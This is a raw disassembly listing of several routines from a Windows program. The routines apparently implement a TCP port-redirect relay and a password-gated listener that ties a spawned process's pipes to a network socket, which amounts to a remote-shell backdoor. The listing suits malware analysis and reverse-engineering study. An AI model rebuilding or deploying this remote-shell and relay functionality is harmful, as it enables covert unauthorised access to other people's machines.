; Attributes: bp-based frame


sub_410E2B	proc near		; DATA XREF: sub_401CC7+61BCo

Source		= byte ptr -350h
var_150		= byte ptr -150h
var_14C		= dword	ptr -14Ch
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_30		= dword	ptr -30h
var_28		= byte ptr -28h
var_26		= word ptr -26h
var_24		= dword	ptr -24h
var_18		= byte ptr -18h
Dst		= word ptr -14h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 350h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	4Ah
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_150]
		push	10h
		rep movsd
		pop	edi
		mov	dword ptr [eax+120h], 1
		xor	esi, esi
		push	edi		; Size
		lea	eax, [ebp+Dst]
		push	esi		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch
		mov	[ebp+Dst], 2
		push	[ebp+var_44]
		call	dword_4E30F8	; htons
		push	6
		push	1
		push	2
		mov	[ebp+var_12], ax
		mov	[ebp+var_10], esi
		mov	[ebp+var_4], edi
		call	dword_4E3178	; socket
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+arg_0], eax
		jz	loc_410F97
		mov	ecx, [ebp+var_40]
		push	1
		imul	ecx, 234h
		push	401h
		push	esi
		push	eax
		mov	dword_456024[ecx], eax
		call	dword_4E3008	; WSAAsyncSelect
		lea	eax, [ebp+Dst]
		push	edi
		push	eax
		push	[ebp+arg_0]
		call	dword_4E3124	; bind
		test	eax, eax
		jnz	loc_410F97
		push	0Ah
		push	[ebp+arg_0]
		call	dword_4E3120	; listen
		test	eax, eax
		jnz	loc_410F97

loc_410EDB:				; CODE XREF: sub_410E2B+C6j
					; sub_410E2B+147j
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_28]
		push	eax
		push	[ebp+arg_0]
		call	dword_4E318C	; accept
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	short loc_410EDB
		movzx	eax, [ebp+var_26]
		push	[ebp+var_40]
		mov	[ebp+var_14C], edi
		mov	[ebp+var_30], esi
		push	eax
		push	[ebp+var_24]
		call	dword_4E3184	; inet_ntoa
		push	eax
		lea	eax, [ebp+Source]
		push	offset asc_44AFD4 ; "-"
		push	eax		; Dest
		call	_sprintf
		push	edi		; int
		lea	eax, [ebp+Source]
		push	18h		; int
		push	eax		; Source
		call	sub_40B756
		mov	[ebp+var_3C], eax
		imul	eax, 234h
		mov	ecx, [ebp+var_40]
		add	esp, 20h
		mov	dword_45601C[eax], ecx
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_150]
		push	esi
		push	eax
		push	offset sub_410FBC
		push	esi
		push	esi
		call	ds:dword_4F5350	; CreateThread
		mov	ecx, [ebp+var_3C]
		imul	ecx, 234h
		cmp	eax, esi
		mov	dword_45602C[ecx], eax
		jz	short loc_410F82

loc_410F6F:				; CODE XREF: sub_410E2B+155j
		cmp	[ebp+var_30], esi
		jnz	loc_410EDB
		push	32h
		call	ds:dword_4F534C	; Sleep
		jmp	short loc_410F6F
; ---------------------------------------------------------------------------

loc_410F82:				; CODE XREF: sub_410E2B+142j
		call	ds:dword_4F5360	; RtlGetLastWin32Error
		push	eax		; Args
		push	offset asc_44B01C ; "-"
		call	sub_415CB3
		pop	ecx
		pop	ecx
		jmp	short loc_410F9A
; ---------------------------------------------------------------------------

loc_410F97:				; CODE XREF: sub_410E2B+63j
					; sub_410E2B+97j ...
		mov	edi, [ebp+arg_0]

loc_410F9A:				; CODE XREF: sub_410E2B+16Aj
		push	edi
		call	dword_4E3190	; closesocket
		push	[ebp+arg_0]
		call	dword_4E3190	; closesocket
		push	[ebp+var_40]
		call	sub_40BA72
		pop	ecx
		push	esi
		call	ds:dword_4F53A0	; ExitThread
		pop	edi
		pop	esi
sub_410E2B	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410FBC	proc near		; DATA XREF: sub_410E2B+124o

var_1344	= byte ptr -1344h
Source		= byte ptr -344h
var_144		= byte ptr -144h
var_13C		= byte ptr -13Ch
var_3C		= dword	ptr -3Ch
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
Dst		= word ptr -18h
var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 1344h
		call	__alloca_probe
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	4Ah
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_144]
		rep movsd
		mov	ebx, [ebp+var_30]
		push	1
		pop	ecx
		mov	[ebp+var_4], ebx
		push	6
		push	ecx
		push	2
		mov	[eax+120h], ecx
		call	dword_4E3178	; socket
		mov	esi, eax
		xor	edi, edi
		cmp	esi, 0FFFFFFFFh
		mov	[ebp+arg_0], esi
		jz	loc_411172
		push	10h		; Size
		lea	eax, [ebp+Dst]
		push	edi		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch
		mov	[ebp+Dst], 2
		push	[ebp+var_3C]
		call	dword_4E30F8	; htons
		mov	[ebp+var_16], ax
		lea	eax, [ebp+var_13C]
		push	eax
		call	dword_4E3138	; inet_addr
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_8], eax
		jnz	short loc_41104C
		lea	eax, [ebp+var_13C]
		push	eax
		call	dword_4E317C	; gethostbyname
		jmp	short loc_41105A
; ---------------------------------------------------------------------------

loc_41104C:				; CODE XREF: sub_410FBC+7Fj
		push	2
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		call	dword_4E30B0	; gethostbyaddr

loc_41105A:				; CODE XREF: sub_410FBC+8Ej
		cmp	eax, edi
		jz	loc_411172
		mov	eax, [eax+0Ch]
		push	10h
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp+var_14], eax
		lea	eax, [ebp+Dst]
		push	eax
		push	esi
		call	dword_4E30A0	; connect
		cmp	eax, 0FFFFFFFFh
		jz	loc_411172
		movzx	eax, [ebp+var_16]
		push	[ebp+var_34]
		mov	[ebp+var_20], edi
		push	eax
		push	[ebp+var_14]
		call	dword_4E3184	; inet_ntoa
		push	eax
		lea	eax, [ebp+Source]
		push	offset asc_44B058 ; "-"
		push	eax		; Dest
		call	_sprintf
		push	esi		; int
		lea	eax, [ebp+Source]
		push	18h		; int
		push	eax		; Source
		call	sub_40B756
		imul	ebx, 234h
		mov	[ebp+var_30], eax
		imul	eax, 234h
		mov	ecx, [ebp+var_34]
		lea	esi, dword_456024[ebx]
		mov	dword_45601C[eax], ecx
		add	esp, 20h
		mov	ecx, [esi]
		mov	dword_456028[eax], ecx
		lea	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_144]
		push	edi
		push	eax
		push	offset sub_4111A3
		push	edi
		push	edi
		call	ds:dword_4F5350	; CreateThread
		mov	ecx, [ebp+var_30]
		imul	ecx, 234h
		cmp	eax, edi
		mov	dword_45602C[ecx], eax
		jz	short loc_41115F

loc_41110C:				; CODE XREF: sub_410FBC+15Dj
		cmp	[ebp+var_20], edi
		jnz	short loc_41111B
		push	32h
		call	ds:dword_4F534C	; Sleep
		jmp	short loc_41110C
; ---------------------------------------------------------------------------

loc_41111B:				; CODE XREF: sub_410FBC+153j
		mov	ebx, 1000h

loc_411120:				; CODE XREF: sub_410FBC+19Fj
		push	ebx		; Size
		lea	eax, [ebp+var_1344]
		push	edi		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch
		lea	eax, [ebp+var_1344]
		push	edi
		push	ebx
		push	eax
		push	dword ptr [esi]
		call	dword_4E3110	; recv
		cmp	eax, edi
		jle	short loc_411172
		push	edi
		push	eax
		lea	eax, [ebp+var_1344]
		push	eax
		push	[ebp+arg_0]
		call	dword_4E3148	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_411120
		jmp	short loc_411172
; ---------------------------------------------------------------------------

loc_41115F:				; CODE XREF: sub_410FBC+14Ej
		call	ds:dword_4F5360	; RtlGetLastWin32Error
		push	eax		; Args
		push	offset asc_44B09C ; "-"
		call	sub_415CB3
		pop	ecx
		pop	ecx

loc_411172:				; CODE XREF: sub_410FBC+44j
					; sub_410FBC+A0j ...
		mov	eax, [ebp+var_4]
		imul	eax, 234h
		push	dword_456024[eax]
		call	dword_4E3190	; closesocket
		push	[ebp+arg_0]
		call	dword_4E3190	; closesocket
		push	[ebp+var_4]
		call	sub_40BA72
		pop	ecx
		push	edi
		call	ds:dword_4F53A0	; ExitThread
		pop	edi
		pop	esi
		pop	ebx
sub_410FBC	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4111A3	proc near		; DATA XREF: sub_410FBC+130o

Dst		= byte ptr -1128h
var_128		= byte ptr -128h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 1128h
		call	__alloca_probe
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	4Ah
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_128]
		rep movsd
		mov	esi, [ebp+var_14]
		mov	dword ptr [eax+124h], 1
		imul	esi, 234h
		mov	edi, 1000h

loc_4111DA:				; CODE XREF: sub_4111A3+7Cj
		push	edi		; Size
		lea	eax, [ebp+Dst]
		push	0		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch
		lea	eax, [ebp+Dst]
		push	0
		push	edi
		push	eax
		push	dword_456028[esi]
		call	dword_4E3110	; recv
		test	eax, eax
		jle	short loc_411221
		push	0
		push	eax
		lea	eax, [ebp+Dst]
		push	eax
		push	dword_456024[esi]
		call	dword_4E3148	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4111DA

loc_411221:				; CODE XREF: sub_4111A3+61j
		push	dword_456028[esi]
		call	dword_4E3190	; closesocket
		push	[ebp+var_14]
		call	sub_40BA72
		pop	ecx
		push	0
		call	ds:dword_4F53A0	; ExitThread
		pop	edi
		pop	esi
sub_4111A3	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411240	proc near		; DATA XREF: sub_4114CE+1BEo

var_3D4		= byte ptr -3D4h
Str1		= byte ptr -350h
var_208		= dword	ptr -208h
var_1F4		= dword	ptr -1F4h
var_1F0		= dword	ptr -1F0h
var_F0		= byte ptr -0F0h
Dest		= byte ptr -0B0h
var_4C		= byte ptr -4Ch
var_3C		= byte ptr -3Ch
Args		= byte ptr -2Ch
var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 3D4h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	78h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_3D4]
		push	1
		mov	[ebp+var_C], 1Eh
		pop	ebx
		rep movsd
		mov	[eax+1DCh], ebx
		mov	eax, [ebp+var_208]
		mov	[ebp+arg_0], eax
		imul	eax, 234h
		lea	esi, dword_456024[eax]
		xor	edi, edi
		mov	[ebp+var_8], edi
		mov	[ebp+var_1F4], ebx
		mov	eax, [esi]
		mov	[ebp+var_1F0], eax
		lea	eax, [ebp+var_C]
		push	eax
		push	edi
		lea	eax, [ebp+var_1F4]
		push	edi
		push	eax
		push	edi
		call	dword_4E30E0	; select
		test	eax, eax
		jnz	short loc_4112C4
		push	dword ptr [esi]
		call	dword_4E3190	; closesocket
		push	[ebp+arg_0]
		call	sub_40BA72
		pop	ecx
		push	edi
		call	ds:dword_4F53A0	; ExitThread

loc_4112C4:				; CODE XREF: sub_411240+6Aj
		push	edi
		lea	eax, [ebp+var_3C]
		push	ebx
		push	eax
		push	dword ptr [esi]
		call	dword_4E3110	; recv
		lea	eax, [ebp+Args]
		push	10h
		push	eax
		push	dword ptr [esi]
		call	sub_411445
		lea	eax, [ebp+var_4C]
		push	10h
		push	eax
		push	dword ptr [esi]
		call	sub_411445
		lea	eax, [ebp+var_F0]
		push	40h
		push	eax
		push	dword ptr [esi]
		call	sub_411445
		add	esp, 24h
		lea	eax, [ebp+var_4]
		mov	[ebp+var_4], 10h
		push	eax
		lea	eax, [ebp+var_1C]
		push	eax
		push	dword ptr [esi]
		call	dword_4E304C	; getpeername
		test	eax, eax
		jz	short loc_41133D
		call	dword_4E308C	; WSAGetLastError
		push	eax		; Args
		push	offset asc_44B0DC ; "-"
		call	sub_415CB3
		push	[ebp+arg_0]
		call	sub_40BA72
		add	esp, 0Ch
		push	edi
		call	ds:dword_4F53A0	; ExitThread

loc_41133D:				; CODE XREF: sub_411240+D8j
		push	2
		lea	eax, [ebp+var_18]
		push	4
		push	eax
		call	dword_4E30B0	; gethostbyaddr
		cmp	eax, edi
		jnz	short loc_411367
		push	[ebp+var_18]
		call	dword_4E3184	; inet_ntoa
		push	eax		; Format
		lea	eax, [ebp+Dest]
		push	eax		; Dest
		call	_sprintf
		jmp	short loc_411375
; ---------------------------------------------------------------------------

loc_411367:				; CODE XREF: sub_411240+10Dj
		push	dword ptr [eax]	; Source
		lea	eax, [ebp+Dest]
		push	eax		; Dest
		call	_strcpy

loc_411375:				; CODE XREF: sub_411240+125j
		pop	ecx
		pop	ecx
		push	edi
		push	ebx
		push	offset dword_4E5E9C
		push	dword ptr [esi]
		call	dword_4E3148	; send
		cmp	dword_4E5E94, edi
		jnz	short loc_4113D7
		push	[ebp+var_18]
		lea	eax, [ebp+Str1]
		push	eax		; Str1
		lea	eax, [ebp+Dest]
		push	eax		; int
		lea	eax, [ebp+Args]
		push	eax		; Args
		call	sub_41149F
		add	esp, 10h
		test	eax, eax
		jnz	short loc_4113D7
		push	edi
		push	13h
		push	offset aPermissionDeni ; "Permission denied\n"
		push	dword ptr [esi]
		call	dword_4E3148	; send
		push	dword ptr [esi]
		call	dword_4E3190	; closesocket
		push	[ebp+arg_0]
		call	sub_40BA72
		pop	ecx
		push	edi
		call	ds:dword_4F53A0	; ExitThread

loc_4113D7:				; CODE XREF: sub_411240+14Cj
					; sub_411240+16Dj
		lea	eax, [ebp+Dest]
		push	eax
		lea	eax, [ebp+Args]
		push	eax		; Args
		push	offset asc_44B11C ; "-"
		call	sub_415CB3
		push	[ebp+arg_0]
		call	sub_411756
		add	esp, 10h
		test	eax, eax
		jnz	short loc_41141E
		call	ds:dword_4F5360	; RtlGetLastWin32Error
		push	eax		; Args
		push	offset asc_44B144 ; "-"
		call	sub_415CB3
		push	[ebp+arg_0]
		call	sub_40BA72
		add	esp, 0Ch
		push	ebx
		call	ds:dword_4F53A0	; ExitThread

loc_41141E:				; CODE XREF: sub_411240+1B9j
		lea	eax, [ebp+Dest]
		push	eax
		lea	eax, [ebp+Args]
		push	eax		; Args
		push	offset asc_44B170 ; "-"
		call	sub_415CB3
		push	[ebp+arg_0]
		call	sub_40BA72
		add	esp, 10h
		push	edi
		call	ds:dword_4F53A0	; ExitThread
sub_411240	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411445	proc near		; CODE XREF: sub_411240+9Ap
					; sub_411240+A7p ...

var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		push	0
		lea	eax, [ebp+var_1]
		push	1
		push	eax
		push	[ebp+arg_0]
		call	dword_4E3110	; recv
		cmp	eax, 1
		jnz	short loc_411495
		mov	esi, [ebp+arg_4]

loc_411463:				; CODE XREF: sub_411445+41j
		mov	al, [ebp+var_1]
		mov	[esi], al
		inc	esi
		dec	[ebp+arg_8]
		jz	short loc_41148A
		test	al, al
		jz	short loc_411499
		push	0
		lea	eax, [ebp+var_1]
		push	1
		push	eax
		push	[ebp+arg_0]
		call	dword_4E3110	; recv
		cmp	eax, 1
		jz	short loc_411463
		jmp	short loc_411495
; ---------------------------------------------------------------------------

loc_41148A:				; CODE XREF: sub_411445+27j
		push	offset asc_44B19C ; "-"
		call	sub_415CB3
		pop	ecx

loc_411495:				; CODE XREF: sub_411445+19j
					; sub_411445+43j
		xor	eax, eax
		jmp	short loc_41149C
; ---------------------------------------------------------------------------

loc_411499:				; CODE XREF: sub_411445+2Bj
		push	1
		pop	eax

loc_41149C:				; CODE XREF: sub_411445+52j
		pop	esi
		leave
		retn
sub_411445	endp


; =============== S U B	R O U T	I N E =======================================


; int __cdecl sub_41149F(char *Args,int,char *Str1)

sub_41149F	proc near		; CODE XREF: sub_411240+163p

Args		= dword	ptr  4
arg_4		= dword	ptr  8
Str1		= dword	ptr  0Ch

		push	[esp+Args]	; Str2
		push	[esp+4+Str1]	; Str1
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4114CA
		push	[esp+arg_4]
		push	[esp+4+Args]	; Args
		push	offset dword_44B1C8 ; Format
		call	sub_415CB3
		add	esp, 0Ch
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------

loc_4114CA:				; CODE XREF: sub_41149F+11j
		push	1
		pop	eax
		retn
sub_41149F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4114CE	proc near		; DATA XREF: sub_401CC7+23C5o

var_5DC		= dword	ptr -5DCh
var_5A4		= byte ptr -5A4h
Source		= byte ptr -414h
var_214		= dword	ptr -214h
Str		= byte ptr -210h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= byte ptr -34h
var_32		= word ptr -32h
var_30		= dword	ptr -30h
var_24		= byte ptr -24h
Dst		= word ptr -20h
var_1E		= word ptr -1Eh
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 5A4h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	78h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_214]
		push	1
		rep movsd
		pop	edi
		mov	[eax+1DCh], edi
		lea	eax, [ebp+var_5A4]
		push	eax
		push	202h
		call	dword_4E3068	; WSAStartup
		xor	esi, esi
		cmp	eax, esi
		jz	short loc_411527
		push	eax		; Args
		push	offset asc_44B238 ; "-"
		call	sub_415CB3
		push	[ebp+var_4C]
		call	sub_40BA72
		add	esp, 0Ch
		push	edi
		call	ds:dword_4F53A0	; ExitThread

loc_411527:				; CODE XREF: sub_4114CE+3Aj
		push	edi
		push	offset loc_41174C
		call	ds:dword_4F53F8	; SetConsoleCtrlHandler
		test	eax, eax
		jnz	short loc_411560
		call	ds:dword_4F5360	; RtlGetLastWin32Error
		push	eax		; Args
		push	offset asc_44B264 ; "-"
		call	sub_415CB3
		pop	ecx
		pop	ecx
		call	dword_4E3050	; WSACleanup
		push	[ebp+var_4C]
		call	sub_40BA72
		pop	ecx
		push	edi
		call	ds:dword_4F53A0	; ExitThread

loc_411560:				; CODE XREF: sub_4114CE+67j
		push	ebx
		push	10h		; Size
		lea	eax, [ebp+Dst]
		push	esi		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch
		mov	[ebp+Dst], 2
		push	[ebp+var_50]
		call	dword_4E30F8	; htons
		push	6
		push	edi
		push	2
		mov	[ebp+var_1E], ax
		mov	[ebp+var_1C], esi
		call	dword_4E3178	; socket
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_4116D7
		mov	eax, [ebp+var_4C]
		push	10h
		imul	eax, 234h
		mov	dword_456024[eax], ebx
		lea	eax, [ebp+Dst]
		push	eax
		push	ebx
		call	dword_4E3124	; bind
		test	eax, eax
		jnz	loc_4116D7
		push	7FFFFFFFh
		push	ebx
		call	dword_4E3120	; listen
		test	eax, eax
		jnz	loc_4116D7
		push	offset unk_44B2A8
		mov	[ebp+var_10], 0Ch
		mov	[ebp+var_C], esi
		mov	[ebp+var_8], esi
		call	sub_415C3F
		pop	ecx
		mov	[ebp+arg_0], edi

loc_4115EF:				; CODE XREF: sub_4114CE+15Aj
					; sub_4114CE+1E4j
		lea	eax, [ebp+var_4]
		mov	[ebp+var_4], 10h
		push	eax
		lea	eax, [ebp+var_34]
		push	eax
		push	ebx
		call	dword_4E318C	; accept
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	loc_4116DA
		push	[ebp+arg_0]
		lea	eax, [ebp+arg_0]
		push	eax
		push	8
		push	0FFFFh
		push	edi
		call	dword_4E30D8	; setsockopt
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4115EF
		movzx	eax, [ebp+var_32]
		push	[ebp+var_4C]
		mov	[ebp+var_38], esi
		push	eax
		push	[ebp+var_30]
		call	dword_4E3184	; inet_ntoa
		push	eax
		lea	eax, [ebp+Source]
		push	offset asc_44B2E4 ; "-"
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+Source]
		push	eax
		call	sub_415C3F
		push	edi		; int
		lea	eax, [ebp+Source]
		push	9		; int
		push	eax		; Source
		call	sub_40B756
		mov	[ebp+var_48], eax
		imul	eax, 234h
		mov	ecx, [ebp+var_4C]
		add	esp, 24h
		mov	dword_45601C[eax], ecx
		lea	eax, [ebp+var_24]
		push	eax
		lea	eax, [ebp+var_214]
		push	esi
		push	eax
		push	offset sub_411240
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		call	ds:dword_4F5350	; CreateThread
		mov	ecx, [ebp+var_48]
		imul	ecx, 234h
		cmp	eax, esi
		mov	dword_45602C[ecx], eax
		jz	short loc_4116C2

loc_4116AF:				; CODE XREF: sub_4114CE+1F2j
		cmp	[ebp+var_38], esi
		jnz	loc_4115EF
		push	32h
		call	ds:dword_4F534C	; Sleep
		jmp	short loc_4116AF
; ---------------------------------------------------------------------------

loc_4116C2:				; CODE XREF: sub_4114CE+1DFj
		call	ds:dword_4F5360	; RtlGetLastWin32Error
		push	eax		; Args
		push	offset asc_44B328 ; "-"
		call	sub_415CB3
		pop	ecx
		pop	ecx
		jmp	short loc_4116DA
; ---------------------------------------------------------------------------

loc_4116D7:				; CODE XREF: sub_4114CE+C8j
					; sub_4114CE+ECj ...
		mov	edi, [ebp+arg_0]

loc_4116DA:				; CODE XREF: sub_4114CE+13Cj
					; sub_4114CE+207j
		call	dword_4E308C	; WSAGetLastError
		push	eax
		lea	eax, [ebp+Source]
		push	offset asc_44B364 ; "-"
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch
		cmp	[ebp+var_3C], esi
		jnz	short loc_41171A
		push	esi		; int
		lea	eax, [ebp+Source]
		push	[ebp+var_40]	; int
		push	eax		; int
		lea	eax, [ebp+Str]
		push	eax		; Str
		push	[ebp+var_214]	; int
		call	sub_409D34
		add	esp, 14h

loc_41171A:				; CODE XREF: sub_4114CE+22Aj
		lea	eax, [ebp+Source]
		push	eax
		call	sub_415C3F
		pop	ecx
		push	edi
		call	dword_4E3190	; closesocket
		push	ebx
		call	dword_4E3190	; closesocket
		call	dword_4E3050	; WSACleanup
		push	[ebp+var_4C]
		call	sub_40BA72
		pop	ecx
		push	esi
		call	ds:dword_4F53A0	; ExitThread
		pop	ebx

loc_41174C:				; DATA XREF: sub_4114CE+5Ao
		xor	eax, eax
		cmp	[esp+5E0h+var_5DC], eax
		setz	al
		retn
sub_4114CE	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411756	proc near		; CODE XREF: sub_411240+1AFp

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		push	edi
		call	sub_4118A7
		imul	edi, 234h
		mov	esi, eax
		xor	ebx, ebx
		mov	eax, dword_456024[edi]
		mov	[ebp+var_C], 0Ch
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], ebx
		mov	[esi+0Ch], eax
		mov	edi, ds:dword_4F5350
		pop	ecx
		lea	eax, [ebp+arg_0]
		push	eax
		push	ebx
		push	esi
		push	offset sub_411A79
		lea	eax, [ebp+var_C]
		push	ebx
		push	eax
		call	edi	; CreateThread
		cmp	eax, ebx
		mov	[esi+10h], eax
		jnz	short loc_4117C1
		call	ds:dword_4F5360	; RtlGetLastWin32Error
		push	eax		; Args
		push	offset asc_44B39C ; "-"
		call	sub_415CB3
		or	dword ptr [esi+0Ch], 0FFFFFFFFh
		pop	ecx
		pop	ecx
		jmp	short loc_4117FB
; ---------------------------------------------------------------------------

loc_4117C1:				; CODE XREF: sub_411756+50j
		lea	eax, [ebp+arg_0]
		push	eax
		push	ebx
		push	esi
		push	offset sub_411B2B
		lea	eax, [ebp+var_C]
		push	ebx
		push	eax
		call	edi	; CreateThread
		cmp	eax, ebx
		mov	[esi+14h], eax
		jnz	short loc_411802
		call	ds:dword_4F5360	; RtlGetLastWin32Error
		push	eax		; Args
		push	offset asc_44B3E4 ; "-"
		call	sub_415CB3
		pop	ecx
		or	dword ptr [esi+0Ch], 0FFFFFFFFh
		pop	ecx
		push	ebx
		push	dword ptr [esi+14h]
		call	ds:dword_4F5380	; TerminateThread

loc_4117FB:				; CODE XREF: sub_411756+69j
		xor	eax, eax
		jmp	loc_4118A2
; ---------------------------------------------------------------------------

loc_411802:				; CODE XREF: sub_411756+82j
		mov	eax, [esi+10h]
		push	0FFFFFFFFh
		mov	[ebp+var_18], eax
		mov	eax, [esi+14h]
		mov	[ebp+var_14], eax
		mov	eax, [esi+8]
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_18]
		push	ebx
		push	eax
		push	3
		call	ds:dword_4F53FC	; WaitForMultipleObjects
		sub	eax, ebx
		jz	short loc_41185C
		dec	eax
		jz	short loc_411856
		dec	eax
		jz	short loc_411842
		call	ds:dword_4F5360	; RtlGetLastWin32Error
		push	eax		; Args
		push	offset asc_44B42C ; "-"
		call	sub_415CB3
		pop	ecx
		pop	ecx
		jmp	short loc_411871
; ---------------------------------------------------------------------------

loc_411842:				; CODE XREF: sub_411756+D5j
		mov	edi, ds:dword_4F5380
		push	ebx
		push	dword ptr [esi+14h]
		call	edi	; TerminateThread
		push	ebx
		push	dword ptr [esi+10h]
		call	edi	; TerminateThread
		jmp	short loc_411871
; ---------------------------------------------------------------------------

loc_411856:				; CODE XREF: sub_411756+D2j
		push	ebx
		push	dword ptr [esi+10h]
		jmp	short loc_411860
; ---------------------------------------------------------------------------

loc_41185C:				; CODE XREF: sub_411756+CFj
		push	ebx
		push	dword ptr [esi+14h]

loc_411860:				; CODE XREF: sub_411756+104j
		call	ds:dword_4F5380	; TerminateThread
		push	1
		push	dword ptr [esi+8]
		call	ds:dword_4F53C4	; TerminateProcess

loc_411871:				; CODE XREF: sub_411756+EAj
					; sub_411756+FEj
		push	dword ptr [esi+10h]
		mov	edi, ds:dword_4F533C
		call	edi	; CloseHandle
		push	dword ptr [esi+14h]
		call	edi	; CloseHandle
		push	dword ptr [esi+8]
		call	edi	; CloseHandle
		push	dword ptr [esi]
		call	edi	; CloseHandle
		push	dword ptr [esi+4]
		call	edi	; CloseHandle
		push	dword ptr [esi+0Ch]
		call	dword_4E3190	; closesocket
		push	esi		; Memory
		call	_free
		pop	ecx
		push	1
		pop	eax

loc_4118A2:				; CODE XREF: sub_411756+A7j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_411756	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4118A7	proc near		; CODE XREF: sub_411756+Dp

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		push	18h		; Size
		mov	[ebp+var_4], edi
		mov	[ebp+var_8], edi
		call	_malloc
		mov	esi, eax
		pop	ecx
		cmp	esi, edi
		jz	loc_411991
		mov	ebx, ds:dword_4F53D0
		lea	eax, [ebp+var_14]
		push	edi
		push	eax
		lea	eax, [ebp+var_8]
		mov	[esi], edi
		push	eax
		mov	[esi+4], edi
		push	esi
		mov	[ebp+var_14], 0Ch
		mov	[ebp+var_10], edi
		mov	[ebp+var_C], 1
		call	ebx	; CreatePipe
		mov	edi, ds:dword_4F533C
		test	eax, eax
		jnz	short loc_41190A
		call	ds:dword_4F5360	; RtlGetLastWin32Error
		push	eax
		push	offset unk_44B460
		jmp	short loc_41192A
; ---------------------------------------------------------------------------

loc_41190A:				; CODE XREF: sub_4118A7+53j
		lea	eax, [ebp+var_14]
		push	0
		push	eax
		lea	eax, [esi+4]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		call	ebx	; CreatePipe
		test	eax, eax
		jnz	short loc_411932
		call	ds:dword_4F5360	; RtlGetLastWin32Error
		push	eax		; Args
		push	offset asc_44B4A0 ; "-"

loc_41192A:				; CODE XREF: sub_4118A7+61j
		call	sub_415CB3
		pop	ecx
		jmp	short loc_411960
; ---------------------------------------------------------------------------

loc_411932:				; CODE XREF: sub_4118A7+75j
		push	[ebp+arg_0]
